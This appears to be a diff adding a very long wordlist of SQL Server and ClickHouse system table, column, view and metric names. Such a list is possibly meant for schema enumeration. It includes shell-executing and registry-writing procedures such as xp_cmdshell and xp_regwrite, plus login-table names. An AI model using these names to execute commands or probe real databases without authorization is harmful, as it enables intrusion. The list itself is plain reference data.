+sysftsemanticsdb +sysftstops +sysfulltextcatalogs +sysguidrefs +sysidxstats +sysindexes +sysindexkeys +sysiscols +syslanguages +syslnklgns +syslockinfo +syslogins +syslogshippers +sysmatrixageforget +sysmatrixages +sysmatrixbricks +sysmatrixconfig +sysmatrixmanagers +sysmembers +sysmessages +sysmultiobjrefs +sysmultiobjvalues +sysname +sysnsobjs +sysobjects +sysobjkeycrypts +sysobjvalues +sysoledbusers +sysopentapes +sysowners +sysperfinfo +syspermissions +sysphfg +syspriorities +sysprivs +sysprocesses +sysprotects +syspru +sysprufiles +sysqnames +sysreferences +sysremotelogins +sysremsvcbinds +sysrmtlgns +sysrowsetrefs +sysrowsets +sysrscols +sysrts +sysscalartypes +sysschobjs +sysseobjvalues +sysseq +sysservers +syssingleobjrefs +syssoftobjrefs +syssqlguides +sysstat +system +system_aborts +system_cache_kb +system_columns +system_components_surface_area_configuration +system_high_memory_signal_state +system_internals_allocation_units +system_internals_partition_columns +system_internals_partitions +system_lookups +system_low_memory_signal_state +system_memory_state_desc +system_objects +system_parameters +system_scans +system_seeks +system_sequence +system_sql_modules +system_time_cs +system_type_id +system_type_name +system_updates +system_views +systypedsubobjs +systypes +sysusermsgs +sysusers +syswebmethods +sysxlgns +sysxmitbody +sysxmitqueue +sysxmlcomponent +sysxmlfacet +sysxmlplacement +sysxprops +sysxsrvs +tabid +table_address +table_alter_failures +table_alter_successes +TABLE_CATALOG +TABLE_CONSTRAINTS +table_create_failures +table_create_not_eligible +table_create_successes +table_directory_name +table_drop_failures +table_drop_successes +table_hashes +table_id +table_level +table_name +TABLE_NAME +table_owner +TABLE_PRIVILEGES +tables +TABLES +TABLE_SCHEMA +tables_in_source +tables_to_alter +tables_to_create +tables_to_drop +TABLE_TYPE +table_types +tabname +tabschema +tag +tail_cache_max_page_count +tail_cache_min_needed_lsn +tail_cache_page_count +tape_operation +tape_operation_desc +target +target_allocations_kb +target_data +target_database_principal_id +target_database_principal_name +target_id +target_kb +TargetLoginName +TargetLoginSid +target_memory_kb +target_name +target_object_id +target_package_guid +target_private_pool_size +target_recovery_time_in_seconds +target_schema_name +target_server_principal_id +target_server_principal_name +target_server_principal_sid +target_table_name +target_type +TargetUserName +task_address +task_bound_ms_ticks +task_id +task_memory_object_address +task_proxy_address +task_retries +tasks_processed_count +task_state +task_state_desc +tasks_waiting +task_type +task_type_desc +tbl_server_resource_stats +tcp_endpoints +tdefault +tdscollation +temporal_type +temporal_type_desc +tessellation_scheme +text +TextData +textinfo_address +text_in_row_limit +TextPtr +text_size +texttype +tgid +thread_address +thread_count +thread_handle +thread_id +thread_type +thread_type_desc +threshold +threshold_factor +thumbprint +ti +ticks_at_cycle_end +ticks_at_cycle_start +time +time_consumed +timelimit +timeout +timeout_error_count +timeout_sec +time_queued +timer_task_affinity_mask +time_since_last_close_in_ms +time_since_last_use +time_source +time_source_desc +timestamp +TimeStamp +timestamp_utc +time_to_generate +time_to_live +time_utc +time_zone +time_zone_info +tinyint +tinyprop +tinyprop1 +tinyprop2 +tinyprop3 +tinyprop4 +tobrkrinst +to_broker_instance +token +to_object_id +topologyx +topologyy +to_service_name +tosvc +total_aborts +total_actions_scheduled +total_allocated_memory_kb +total_bind_cpu_time +total_bind_duration +total_bucket_count +total_buffer_size +total_bytes +total_bytes_generated +total_bytes_received +total_bytes_sent +total_cache_misses +total_cell_count +total_clr_time +total_columnstore_segment_reads +total_columnstore_segment_skips +total_compile_duration +total_compile_memory_kb +total_count +total_cpu_active_ms +total_cpu_delayed_ms +total_cpu_idle_capped_ms +total_cpu_kernel_ms +total_cpu_limit_violation_count +total_cpu_time +total_cpu_usage +total_cpu_usage_ms +total_cpu_usage_preemptive_ms +total_cpu_user_ms +total_cpu_violation_delay_ms +total_cpu_violation_sec +total_dequeues +total_disk_io_wait_time_ms +total_disk_reads +total_dop +total_duration +total_elapsed_time +total_elapsed_time_ms +total_enqueues +total_errors +total_evicted_session_count +total_execution_time +total_forks_cnt +total_fragments_received +total_fragments_sent +total_grant_kb +total_ideal_grant_kb +total_inrow_version_payload_size_in_bytes +total_kb +total_kernel_time +total_large_buffers +total_lock_wait_count +total_lock_wait_time_ms +total_log_bytes_used +total_logical_io_reads +total_logical_io_writes +total_logical_reads +total_logical_writes +total_log_size_in_bytes +total_log_size_mb +total_memgrant_count +total_memgrant_timeout_count +total_memory_kb +total_network_wait_time_ms +total_num_page_server_reads +total_num_physical_io_reads +total_num_physical_reads +total_operation_count +total_optimize_cpu_time +total_optimize_duration +total_overlap +total_page_count +total_page_file_kb +total_pages +total_page_server_io_reads +total_page_server_reads +total_parse_cpu_time +total_parse_duration +total_physical_io_reads +total_physical_memory_kb +total_physical_reads +total_poor_row_groups_analyzed +total_processor_elapsed_time +total_processor_time_ms +total_query_max_used_memory +total_query_optimization_count +total_query_wait_time_ms +total_queued_request_count +total_read +total_receives +total_reduced_memgrant_count +total_regular_buffers +total_request_count +total_request_execution_timeouts +total_requests +total_reserved_threads +total_resource_grant_timeouts +total_rowcount +total_row_groups_analyzed +total_rows +total_rows_analyzed +total_scheduled_time +total_scheduler_delay_ms +total_sends +total_sessions +total_shared_resource_requests +total_size +total_spills +total_suboptimal_plan_generation_count +total_target_memory +total_tempdb_space_used +total_used_grant_kb +total_used_threads +total_user_elapsed_time +total_user_time +total_virtual_address_space_kb +total_vlf_count +total_wait_time_in_ms +total_worker_time +total_write +totcpu +totio +trace_categories +trace_column_id +trace_columns +trace_event_bindings +trace_event_id +trace_events +traceid +traces +trace_subclass_values +trace_xe_action_map +trace_xe_event_map +track_causality +tran_count +transaction_begin_time +transaction_description +transaction_descriptor +transaction_diag_status +transaction_id +TransactionID +transaction_isolation_level +transaction_is_snapshot +transaction_manager_database_id +transaction_manager_database_name +transaction_manager_dbid +transaction_manager_rmid +transaction_manager_server_name +transaction_ordinal +transaction_phase_1_time +transaction_phase_2_time +transaction_sequence_num +transactions_root_hash +transaction_state +transaction_status +transaction_status2 +transaction_timeout +transaction_total_time +transaction_type +transaction_uow +transfer_rate_bytes_per_second +transferred_size_bytes +transition_to_compressed_state +transition_to_compressed_state_desc +transmission_queue +transmission_status +transport_stream_id +tree_page_io_latch_wait_count +tree_page_io_latch_wait_in_ms +tree_page_latch_wait_count +tree_page_latch_wait_in_ms +trigger_events +trigger_event_types +triggers +trim_reason +trim_reason_desc +truncate_point +truncation_lsn +_trusted_assemblies +trusted_assemblies +ts +tsql_stack +tstat +two_digit_year_cutoff +tx_bytes +tx_carrier +tx_collisions +tx_compressed +tx_drop +tx_end_timestamp +tx_errors +tx_fifo +txn_tag +txn_type +tx_packets +tx_segments_dispatched_count +type +Type +type_assembly_usages +type_column_id +type_desc +typeint +type_name +type_package_guid +types +type_size +typestat +type_table_object_id +TYPE_UDT_CATALOG +TYPE_UDT_NAME +TYPE_UDT_SCHEMA +UDT_CATALOG +UDT_NAME +UDT_SCHEMA +uid +unackmfn +unallocated_extent_page_count +unfiltered_rows +unique_compiles +UNIQUE_CONSTRAINT_CATALOG +UNIQUE_CONSTRAINT_NAME +UNIQUE_CONSTRAINT_SCHEMA +unique_constraint_violations +uniqueidentifier +unique_index_id +unit_conversion_factor +unit_of_measure +unit_of_work +unsuccessful_logons +updadd +updatedate +updated_last_round_count +update_referential_action +update_referential_action_desc +UPDATE_RULE +update_time +updmod +updtrig +upgrade +upgrade_start_level +upgrade_target_level +upper_bound_tsn +uptime_secs +uri +uriord +url_path +usage +use_count +usecounts +used +used_bytes +used_log_space_in_bytes +used_log_space_in_percent +used_memgrant_kb +used_memory_kb +used_page_count +used_pages +used_worker_count +use_identity +user_access +user_access_desc +user_created +user_defined_event_id +user_defined_information +USER_DEFINED_TYPE_CATALOG +USER_DEFINED_TYPE_NAME +USER_DEFINED_TYPE_SCHEMA +useremotecollation +user_id +user_lookups +usermode_time +user_name +username +user_object_reserved_page_count +user_objects_alloc_page_count +user_objects_dealloc_page_count +user_objects_deferred_dealloc_page_count +user_scans +user_seeks +userstat +user_time +user_time_cs +user_token +usertype +user_type_database +user_type_id +user_type_name +user_type_schema +user_updates +uses_ansi_nulls +uses_database_collation +uses_key_normalization +uses_native_compilation +uses_quoted_identifier +uses_remote_collation +uses_self_credential +use_type_default +using_xml_index_id +utype +valclass +validation +validation_desc +validation_failures +valid_since +valnum +value +value_data +value_for_secondary +value_in_use +value_name +value_of_memory +varbinary +varchar +variable +VerboseLogging +version +version_generated_inrow +version_generated_offrow +version_ghost_record_count +version_record_count +version_sequence_num +version_store_reserved_page_count +via_endpoints +VIEW_CATALOG +VIEW_COLUMN_USAGE +VIEW_DEFINITION +VIEW_NAME +views +VIEWS +VIEW_SCHEMA +VIEW_TABLE_USAGE +virtual_address_space_available_kb +virtual_address_space_committed_kb +virtual_address_space_reserved_kb +virtual_bytes +virtual_bytes_peak +virtual_core_count +virtual_machine_type +virtual_machine_type_desc +virtual_memory_committed_kb +virtual_memory_kb +virtual_memory_reserved_kb +visible_target_kb +vlf_active +vlf_begin_offset +vlf_create_lsn +vlf_encryptor_thumbprint +vlf_first_lsn +vlf_parity +vlf_sequence_number +vlf_size_mb +vlf_status +vm_metric_name +volume_id +volume_mount_point +volume_name +vstart +wait_category +wait_category_desc +wait_duration +wait_duration_ms +waiter_count +wait_id +waiting_requests_count +waiting_task_address +waiting_tasks_count +waiting_threads_count +wait_name +wait_order +wait_reason +wait_resource +waitresource +wait_resumed_ms_ticks +waits_for_io_count +waits_for_new_log_count +wait_started_ms_ticks +wait_stats_capture_mode +wait_stats_capture_mode_desc +wait_stats_id +wait_time +waittime +wait_time_before_idle +wait_time_ms +wait_type +waittype +warm_cold_check_ticks +warm_count +weak_refcount +weight +weighted_io_time_ms +well_known_text +windows_release +windows_service_pack_level +windows_sku +with_check_option +witnesssequence +worker_address +worker_count +worker_created_ms_ticks +worker_migration_count +worker_time +work_id +working_set +workingset_limit_mb +working_set_peak +working_set_private +workitem_type +workitem_version +work_queue_count +workspace_name +write_access +write_bytes_total +write_conflicts +write_count +write_io_completed_total +write_io_count +write_io_issued_total +write_io_queued_total +write_io_stall_queued_ms +write_io_stall_total_ms +write_io_throttled_total +write_lease_remaining_ticks +write_operation_count +write_page_count +writes +Writes +writes_completed +write_set_row_count +writes_merged +write_time +write_time_ms +write_version +wsdl_generator_procedure +wsdlproc +wszArtdelcmd +wszArtdesttable +wszArtdesttableowner +wszArtinscmd +wszArtpartialupdcmd +wszArtupdcmd +xacts_copied_to_local +XactSequence +xacts_in_gen_0 +xacts_in_gen_1 +xacts_in_gen_10 +xacts_in_gen_11 +xacts_in_gen_12 +xacts_in_gen_13 +xacts_in_gen_14 +xacts_in_gen_15 +xacts_in_gen_2 +xacts_in_gen_3 +xacts_in_gen_4 +xacts_in_gen_5 +xacts_in_gen_6 +xacts_in_gen_7 +xacts_in_gen_8 +xacts_in_gen_9 +xdes_id +xdesid +xdes_ts_push +xdes_ts_tran +xdttm_ins +xdttm_last_ins_upd +xe_action_name +xe_event_name +xfallback_dbid +xfallback_drive +xfallback_low +xfallback_vstart +xmaxlen +xml +xml_collection_database +xml_collection_id +xml_collection_name +xml_collection_schema +xml_component_id +xml_data +xml_indexes +xml_index_type +xml_index_type_description +xml_namespace_id +xmlns +xml_schema_attributes +xml_schema_collections +xml_schema_component_placements +xml_schema_components +xml_schema_elements +xml_schema_facets +xml_schema_model_groups +xml_schema_namespaces +xml_schema_types +xml_schema_wildcard_namespaces +xml_schema_wildcards +xoffset +xp_availablemedia +xp_cmdshell +xp_copy_file +xp_copy_files +xp_create_subdir +xp_delete_file +xp_delete_files +xp_dirtree +xp_enumerrorlogs +xp_enumgroups +xp_enum_oledb_providers +xp_fileexist +xp_fixeddrives +xp_getnetname +xp_get_tape_devices +xp_grantlogin +xp_instance_regaddmultistring +xp_instance_regdeletekey +xp_instance_regdeletevalue +xp_instance_regenumkeys +xp_instance_regenumvalues +xp_instance_regread +xp_instance_regremovemultistring +xp_instance_regwrite +xp_logevent +xp_loginconfig +xp_logininfo +xp_msver +xp_msx_enlist +xp_passAgentInfo +xp_prop_oledb_provider +xp_qv +xp_readerrorlog +xprec +xp_regaddmultistring +xp_regdeletekey +xp_regdeletevalue +xp_regenumkeys +xp_regenumvalues +xp_regread +xp_regremovemultistring +xp_regwrite +xp_repl_convert_encrypt_sysadmin_wrapper +xp_replposteor +xp_revokelogin +xp_servicecontrol +xp_sprintf +xp_sqlagent_enum_jobs +xp_sqlagent_is_starting +xp_sqlagent_monitor +xp_sqlagent_notify +xp_sqlagent_param +xp_sqlmaint +xp_sscanf +xp_subdirs +xp_sysmail_activate +xp_sysmail_attachment_load +xp_sysmail_format_query +xquery_max_length +xquery_type_description +xscale +xsdid +xserver_name +xtp_address +xtp_description +xtp_log_bytes_consumed +xtp_object_id +xtp_parent_transaction_id +xtp_parent_transaction_node_id +xtp_transaction_id +xtype +xusertype +yield_count +zone_type + +[ClickHouse] +absolute_delay +access_object +access_type +active +active_children +active_on_fly_alter_mutations +active_on_fly_data_mutations +active_on_fly_metadata_mutations +active_parts +active_replicas +additional_format_info +address +address_begin +address_end +age +aggregate_function_combinators +aliases +alias_for +alias_to +allocations +allow_dynamic_cache_resize +allow_readonly +alnum +alphabetic +alterable +apply_to_all +apply_to_except +apply_to_list +arguments +ascii_hex_digit +as_select +asynchronous_inserts +asynchronous_loader +asynchronous_metric_log +asynchronous_metrics +asynchronous_read_counters +authenticated_user +auth_params +auth_type +azure_queue +azure_queue_settings +background_download_max_file_segment_size +background_download_queue_size_limit +background_download_threads +background_schedule_pool +background_schedule_pool_log +backups +base_backup_name +basic_emoji +belongs +bidi_class +bidi_control +bidi_mirrored +bidi_mirroring_glyph +bidi_paired_bracket +bidi_paired_bracket_type +blank +block +boundary_alignment +broken_data_compressed_bytes +broken_data_files +budget +build_id +build_options +busy_periods +bypass_cache_threshold +bytes +bytes_allocated +bytes_on_disk +bytes_read +bytes_read_compressed +bytes_read_uncompressed +bytes_uncompressed +bytes_written_uncompressed +cache_base_path +cached_at +cache_hits +cache_hits_threshold +cache_name +cache_on_write_operations +cache_path +cache_paths +cache_policy +can_become_leader +canceled_cost +canceled_requests +canonical_combining_class +cardinality +CARDINALITY +cased +case_folding +case_ignorable +case_insensitive +case_sensitive +catalog_name +CATALOG_NAME +categories +certificates +changeable_without_restart +changed +changes +changes_when_casefolded +changes_when_casemapped +changes_when_lowercased +changes_when_nfkc_casefolded +changes_when_titlecased +changes_when_uppercased +character_maximum_length +CHARACTER_MAXIMUM_LENGTH +character_octet_length +CHARACTER_OCTET_LENGTH +character_set_catalog +CHARACTER_SET_CATALOG +character_set_name +CHARACTER_SET_NAME +character_sets +CHARACTER_SETS +character_set_schema +CHARACTER_SET_SCHEMA +check_option +CHECK_OPTION +client_hostname +client_name +client_revision +client_version_major +client_version_minor +client_version_patch +cluster +clusters +code +codecs +code_point +code_point_value +collation +COLLATION +collation_catalog +COLLATION_CATALOG +collation_name +COLLATION_NAME +collations +COLLATIONS +collation_schema +COLLATION_SCHEMA +collection +column +column_bytes_on_disk +column_comment +COLUMN_COMMENT +column_data_compressed_bytes +column_data_uncompressed_bytes +column_default +COLUMN_DEFAULT +column_marks_bytes +column_modification_time +column_name +COLUMN_NAME +column_position +columns +COLUMNS +columns_descriptions_cache_size +columns_version +columns_written +column_ttl_max +column_ttl_min +column_type +COLUMN_TYPE +command +comment +COMMENT +common_prefix_for_blobs +completions +compressed +compressed_size +compression_codec +condition +condition_hash +config_name +constraint_catalog +CONSTRAINT_CATALOG +constraint_name +CONSTRAINT_NAME +constraint_schema +CONSTRAINT_SCHEMA +consumer_id +content_type +context +contributors +cpu_id +create_query +create_table_query +create_time +creation_csn +creation_tid +current_database +current_elements_num +CurrentMetric_ActiveTimersInQueryProfiler +CurrentMetric_AddressesActive +CurrentMetric_AddressesBanned +CurrentMetric_AggregatorThreads +CurrentMetric_AggregatorThreadsActive +CurrentMetric_AggregatorThreadsScheduled +CurrentMetric_AsynchronousInsertQueueBytes +CurrentMetric_AsynchronousInsertQueueSize +CurrentMetric_AsynchronousInsertThreads +CurrentMetric_AsynchronousInsertThreadsActive +CurrentMetric_AsynchronousInsertThreadsScheduled +CurrentMetric_AsynchronousReadWait +CurrentMetric_AsyncInsertCacheSize +CurrentMetric_AttachedDatabase +CurrentMetric_AttachedDictionary +CurrentMetric_AttachedReplicatedTable +CurrentMetric_AttachedTable +CurrentMetric_AttachedView +CurrentMetric_AvroSchemaCacheBytes +CurrentMetric_AvroSchemaCacheCells +CurrentMetric_AvroSchemaRegistryCacheBytes +CurrentMetric_AvroSchemaRegistryCacheCells +CurrentMetric_AzureRequests +CurrentMetric_BackgroundBufferFlushSchedulePoolSize +CurrentMetric_BackgroundBufferFlushSchedulePoolTask +CurrentMetric_BackgroundCommonPoolSize +CurrentMetric_BackgroundCommonPoolTask +CurrentMetric_BackgroundDistributedSchedulePoolSize +CurrentMetric_BackgroundDistributedSchedulePoolTask +CurrentMetric_BackgroundFetchesPoolSize +CurrentMetric_BackgroundFetchesPoolTask +CurrentMetric_BackgroundMergesAndMutationsPoolSize +CurrentMetric_BackgroundMergesAndMutationsPoolTask +CurrentMetric_BackgroundMessageBrokerSchedulePoolSize +CurrentMetric_BackgroundMessageBrokerSchedulePoolTask +CurrentMetric_BackgroundMovePoolSize +CurrentMetric_BackgroundMovePoolTask +CurrentMetric_BackgroundSchedulePoolSize +CurrentMetric_BackgroundSchedulePoolTask +CurrentMetric_BackupsIOThreads +CurrentMetric_BackupsIOThreadsActive +CurrentMetric_BackupsIOThreadsScheduled +CurrentMetric_BackupsThreads +CurrentMetric_BackupsThreadsActive +CurrentMetric_BackupsThreadsScheduled +CurrentMetric_BcryptCacheBytes +CurrentMetric_BcryptCacheSize +CurrentMetric_BrokenDisks +CurrentMetric_BrokenDistributedBytesToInsert +CurrentMetric_BrokenDistributedFilesToInsert +CurrentMetric_BuildVectorSimilarityIndexThreads +CurrentMetric_BuildVectorSimilarityIndexThreadsActive +CurrentMetric_BuildVectorSimilarityIndexThreadsScheduled +CurrentMetric_CacheDetachedFileSegments +CurrentMetric_CacheDictionaryThreads +CurrentMetric_CacheDictionaryThreadsActive +CurrentMetric_CacheDictionaryThreadsScheduled +CurrentMetric_CacheDictionaryUpdateQueueBatches +CurrentMetric_CacheDictionaryUpdateQueueKeys +CurrentMetric_CacheFileSegments +CurrentMetric_CacheWarmerBytesInProgress +CurrentMetric_ColumnsDescriptionsCacheSize +CurrentMetric_CompiledExpressionCacheBytes +CurrentMetric_CompiledExpressionCacheCount +CurrentMetric_Compressing +CurrentMetric_CompressionThread +CurrentMetric_CompressionThreadActive +CurrentMetric_CompressionThreadScheduled +CurrentMetric_ConcurrencyControlAcquired +CurrentMetric_ConcurrencyControlAcquiredNonCompeting +CurrentMetric_ConcurrencyControlPreempted +CurrentMetric_ConcurrencyControlScheduled +CurrentMetric_ConcurrencyControlSoftLimit +CurrentMetric_ConcurrentHashJoinPoolThreads +CurrentMetric_ConcurrentHashJoinPoolThreadsActive +CurrentMetric_ConcurrentHashJoinPoolThreadsScheduled +CurrentMetric_ConcurrentQueryAcquired +CurrentMetric_ConcurrentQueryScheduled +CurrentMetric_ContextLockWait +CurrentMetric_CoordinatedMergesCoordinatorAssignedMerges +CurrentMetric_CoordinatedMergesCoordinatorRunningMerges +CurrentMetric_CoordinatedMergesWorkerAssignedMerges +CurrentMetric_CreatedTimersInQueryProfiler +CurrentMetric_DatabaseBackupThreads +CurrentMetric_DatabaseBackupThreadsActive +CurrentMetric_DatabaseBackupThreadsScheduled +CurrentMetric_DatabaseCatalogThreads +CurrentMetric_DatabaseCatalogThreadsActive +CurrentMetric_DatabaseCatalogThreadsScheduled +CurrentMetric_DatabaseOnDiskThreads +CurrentMetric_DatabaseOnDiskThreadsActive +CurrentMetric_DatabaseOnDiskThreadsScheduled +CurrentMetric_DatabaseReplicatedCreateTablesThreads +CurrentMetric_DatabaseReplicatedCreateTablesThreadsActive +CurrentMetric_DatabaseReplicatedCreateTablesThreadsScheduled +CurrentMetric_DDLWorkerThreads +CurrentMetric_DDLWorkerThreadsActive +CurrentMetric_DDLWorkerThreadsScheduled +CurrentMetric_Decompressing +CurrentMetric_DelayedInserts +CurrentMetric_DestroyAggregatesThreads +CurrentMetric_DestroyAggregatesThreadsActive +CurrentMetric_DestroyAggregatesThreadsScheduled +CurrentMetric_DictCacheRequests +CurrentMetric_DiskConnectionsStored +CurrentMetric_DiskConnectionsTotal +CurrentMetric_DiskObjectStorageAsyncThreads +CurrentMetric_DiskObjectStorageAsyncThreadsActive +CurrentMetric_DiskPlainRewritableAzureDirectoryMapSize +CurrentMetric_DiskPlainRewritableAzureFileCount +CurrentMetric_DiskPlainRewritableLocalDirectoryMapSize +CurrentMetric_DiskPlainRewritableLocalFileCount +CurrentMetric_DiskPlainRewritableS3DirectoryMapSize +CurrentMetric_DiskPlainRewritableS3FileCount +CurrentMetric_DiskS3NoSuchKeyErrors +CurrentMetric_DiskSpaceReservedForMerge +CurrentMetric_DistrCacheAllocatedConnections +CurrentMetric_DistrCacheBorrowedConnections +CurrentMetric_DistrCacheOpenedConnections +CurrentMetric_DistrCacheReadBuffers +CurrentMetric_DistrCacheReadRequests +CurrentMetric_DistrCacheRegisteredServers +CurrentMetric_DistrCacheRegisteredServersCurrentAZ +CurrentMetric_DistrCacheServerConnections +CurrentMetric_DistrCacheServerRegistryConnections +CurrentMetric_DistrCacheServerS3CachedClients +CurrentMetric_DistrCacheSharedLimitCount +CurrentMetric_DistrCacheUsedConnections +CurrentMetric_DistrCacheWriteBuffers +CurrentMetric_DistrCacheWriteRequests +CurrentMetric_DistributedBytesToInsert +CurrentMetric_DistributedFilesToInsert +CurrentMetric_DistributedInsertThreads +CurrentMetric_DistributedInsertThreadsActive +CurrentMetric_DistributedInsertThreadsScheduled +CurrentMetric_DistributedSend +CurrentMetric_DNSAddressesCacheBytes +CurrentMetric_DNSAddressesCacheSize +CurrentMetric_DNSHostsCacheBytes +CurrentMetric_DNSHostsCacheSize +CurrentMetric_DropDistributedCacheThreads +CurrentMetric_DropDistributedCacheThreadsActive +CurrentMetric_DropDistributedCacheThreadsScheduled +CurrentMetric_EphemeralNode +CurrentMetric_FilesystemCacheDelayedCleanupElements +CurrentMetric_FilesystemCacheDownloadQueueElements +CurrentMetric_FilesystemCacheElements +CurrentMetric_FilesystemCacheHoldFileSegments +CurrentMetric_FilesystemCacheKeys +CurrentMetric_FilesystemCacheReadBuffers +CurrentMetric_FilesystemCacheReserveThreads +CurrentMetric_FilesystemCacheSize +CurrentMetric_FilesystemCacheSizeLimit +CurrentMetric_FilteringMarksWithPrimaryKey +CurrentMetric_FilteringMarksWithSecondaryKeys +CurrentMetric_FormatParsingThreads +CurrentMetric_FormatParsingThreadsActive +CurrentMetric_FormatParsingThreadsScheduled +CurrentMetric_FreezePartThreads +CurrentMetric_FreezePartThreadsActive +CurrentMetric_FreezePartThreadsScheduled +CurrentMetric_GlobalThread +CurrentMetric_GlobalThreadActive +CurrentMetric_GlobalThreadScheduled +CurrentMetric_HashedDictionaryThreads +CurrentMetric_HashedDictionaryThreadsActive +CurrentMetric_HashedDictionaryThreadsScheduled +CurrentMetric_HiveFilesCacheBytes +CurrentMetric_HiveFilesCacheFiles +CurrentMetric_HiveMetadataFilesCacheBytes +CurrentMetric_HiveMetadataFilesCacheFiles +CurrentMetric_HTTPConnection +CurrentMetric_HTTPConnectionsStored +CurrentMetric_HTTPConnectionsTotal +CurrentMetric_IcebergCatalogThreads +CurrentMetric_IcebergCatalogThreadsActive +CurrentMetric_IcebergCatalogThreadsScheduled +CurrentMetric_IcebergMetadataFilesCacheBytes +CurrentMetric_IcebergMetadataFilesCacheFiles +CurrentMetric_IDiskCopierThreads +CurrentMetric_IDiskCopierThreadsActive +CurrentMetric_IDiskCopierThreadsScheduled +CurrentMetric_IndexMarkCacheBytes +CurrentMetric_IndexMarkCacheFiles +CurrentMetric_IndexUncompressedCacheBytes +CurrentMetric_IndexUncompressedCacheCells +CurrentMetric_InterserverConnection +CurrentMetric_IOPrefetchThreads +CurrentMetric_IOPrefetchThreadsActive +CurrentMetric_IOPrefetchThreadsScheduled +CurrentMetric_IOThreads +CurrentMetric_IOThreadsActive +CurrentMetric_IOThreadsScheduled +CurrentMetric_IOUringInFlightEvents +CurrentMetric_IOUringPendingEvents +CurrentMetric_IOWriterThreads +CurrentMetric_IOWriterThreadsActive +CurrentMetric_IOWriterThreadsScheduled +CurrentMetric_IsServerShuttingDown +CurrentMetric_KafkaAssignedPartitions +CurrentMetric_KafkaBackgroundReads +CurrentMetric_KafkaConsumers +CurrentMetric_KafkaConsumersInUse +CurrentMetric_KafkaConsumersWithAssignment +CurrentMetric_KafkaLibrdkafkaThreads +CurrentMetric_KafkaProducers +CurrentMetric_KafkaWrites +CurrentMetric_KeeperAliveConnections +CurrentMetric_KeeperOutstandingRequests +CurrentMetric_LicenseRemainingSeconds +CurrentMetric_LocalThread +CurrentMetric_LocalThreadActive +CurrentMetric_LocalThreadScheduled +CurrentMetric_MarkCacheBytes +CurrentMetric_MarkCacheFiles +CurrentMetric_MarksLoaderThreads +CurrentMetric_MarksLoaderThreadsActive +CurrentMetric_MarksLoaderThreadsScheduled +CurrentMetric_MaxDDLEntryID +CurrentMetric_MaxPushedDDLEntryID +CurrentMetric_MemoryTracking +CurrentMetric_MemoryTrackingUncorrected +CurrentMetric_Merge +CurrentMetric_MergeJoinBlocksCacheBytes +CurrentMetric_MergeJoinBlocksCacheCount +CurrentMetric_MergeParts +CurrentMetric_MergesMutationsMemoryTracking +CurrentMetric_MergeTreeAllRangesAnnouncementsSent +CurrentMetric_MergeTreeBackgroundExecutorThreads +CurrentMetric_MergeTreeBackgroundExecutorThreadsActive +CurrentMetric_MergeTreeBackgroundExecutorThreadsScheduled +CurrentMetric_MergeTreeDataSelectExecutorThreads +CurrentMetric_MergeTreeDataSelectExecutorThreadsActive +CurrentMetric_MergeTreeDataSelectExecutorThreadsScheduled +CurrentMetric_MergeTreeFetchPartitionThreads +CurrentMetric_MergeTreeFetchPartitionThreadsActive +CurrentMetric_MergeTreeFetchPartitionThreadsScheduled +CurrentMetric_MergeTreeOutdatedPartsLoaderThreads +CurrentMetric_MergeTreeOutdatedPartsLoaderThreadsActive +CurrentMetric_MergeTreeOutdatedPartsLoaderThreadsScheduled +CurrentMetric_MergeTreePartsCleanerThreads +CurrentMetric_MergeTreePartsCleanerThreadsActive +CurrentMetric_MergeTreePartsCleanerThreadsScheduled +CurrentMetric_MergeTreePartsLoaderThreads +CurrentMetric_MergeTreePartsLoaderThreadsActive +CurrentMetric_MergeTreePartsLoaderThreadsScheduled +CurrentMetric_MergeTreeReadTaskRequestsSent +CurrentMetric_MergeTreeSubcolumnsReaderThreads +CurrentMetric_MergeTreeSubcolumnsReaderThreadsActive +CurrentMetric_MergeTreeSubcolumnsReaderThreadsScheduled +CurrentMetric_MergeTreeUnexpectedPartsLoaderThreads +CurrentMetric_MergeTreeUnexpectedPartsLoaderThreadsActive +CurrentMetric_MergeTreeUnexpectedPartsLoaderThreadsScheduled +CurrentMetric_MetadataFromKeeperCacheObjects +CurrentMetric_MMapCacheCells +CurrentMetric_MMappedFileBytes +CurrentMetric_MMappedFiles +CurrentMetric_Move +CurrentMetric_MySQLConnection +CurrentMetric_NamedCollection +CurrentMetric_NetworkReceive +CurrentMetric_NetworkSend +CurrentMetric_ObjectStorageAzureThreads +CurrentMetric_ObjectStorageAzureThreadsActive +CurrentMetric_ObjectStorageAzureThreadsScheduled +CurrentMetric_ObjectStorageQueueRegisteredServers +CurrentMetric_ObjectStorageQueueShutdownThreads +CurrentMetric_ObjectStorageQueueShutdownThreadsActive +CurrentMetric_ObjectStorageQueueShutdownThreadsScheduled +CurrentMetric_ObjectStorageS3Threads +CurrentMetric_ObjectStorageS3ThreadsActive +CurrentMetric_ObjectStorageS3ThreadsScheduled +CurrentMetric_OpenFileForRead +CurrentMetric_OpenFileForWrite +CurrentMetric_OutdatedPartsLoadingThreads +CurrentMetric_OutdatedPartsLoadingThreadsActive +CurrentMetric_OutdatedPartsLoadingThreadsScheduled +CurrentMetric_PageCacheBytes +CurrentMetric_PageCacheCells +CurrentMetric_ParallelCompressedWriteBufferThreads +CurrentMetric_ParallelCompressedWriteBufferWait +CurrentMetric_ParallelFormattingOutputFormatThreads +CurrentMetric_ParallelFormattingOutputFormatThreadsActive +CurrentMetric_ParallelFormattingOutputFormatThreadsScheduled +CurrentMetric_ParallelWithQueryActiveThreads +CurrentMetric_ParallelWithQueryScheduledThreads +CurrentMetric_ParallelWithQueryThreads +CurrentMetric_ParquetEncoderThreads +CurrentMetric_ParquetEncoderThreadsActive +CurrentMetric_ParquetEncoderThreadsScheduled +CurrentMetric_PartMutation +CurrentMetric_PartsActive +CurrentMetric_PartsCommitted +CurrentMetric_PartsCompact +CurrentMetric_PartsDeleteOnDestroy +CurrentMetric_PartsDeleting +CurrentMetric_PartsOutdated +CurrentMetric_PartsPreActive +CurrentMetric_PartsPreCommitted +CurrentMetric_PartsTemporary +CurrentMetric_PartsWide +CurrentMetric_PendingAsyncInsert +CurrentMetric_PolygonDictionaryThreads +CurrentMetric_PolygonDictionaryThreadsActive +CurrentMetric_PolygonDictionaryThreadsScheduled +CurrentMetric_PostgreSQLConnection +CurrentMetric_PrimaryIndexCacheBytes +CurrentMetric_PrimaryIndexCacheFiles +CurrentMetric_Query +CurrentMetric_QueryCacheBytes +CurrentMetric_QueryCacheEntries +CurrentMetric_QueryConditionCacheBytes +CurrentMetric_QueryConditionCacheEntries +CurrentMetric_QueryPipelineExecutorThreads +CurrentMetric_QueryPipelineExecutorThreadsActive 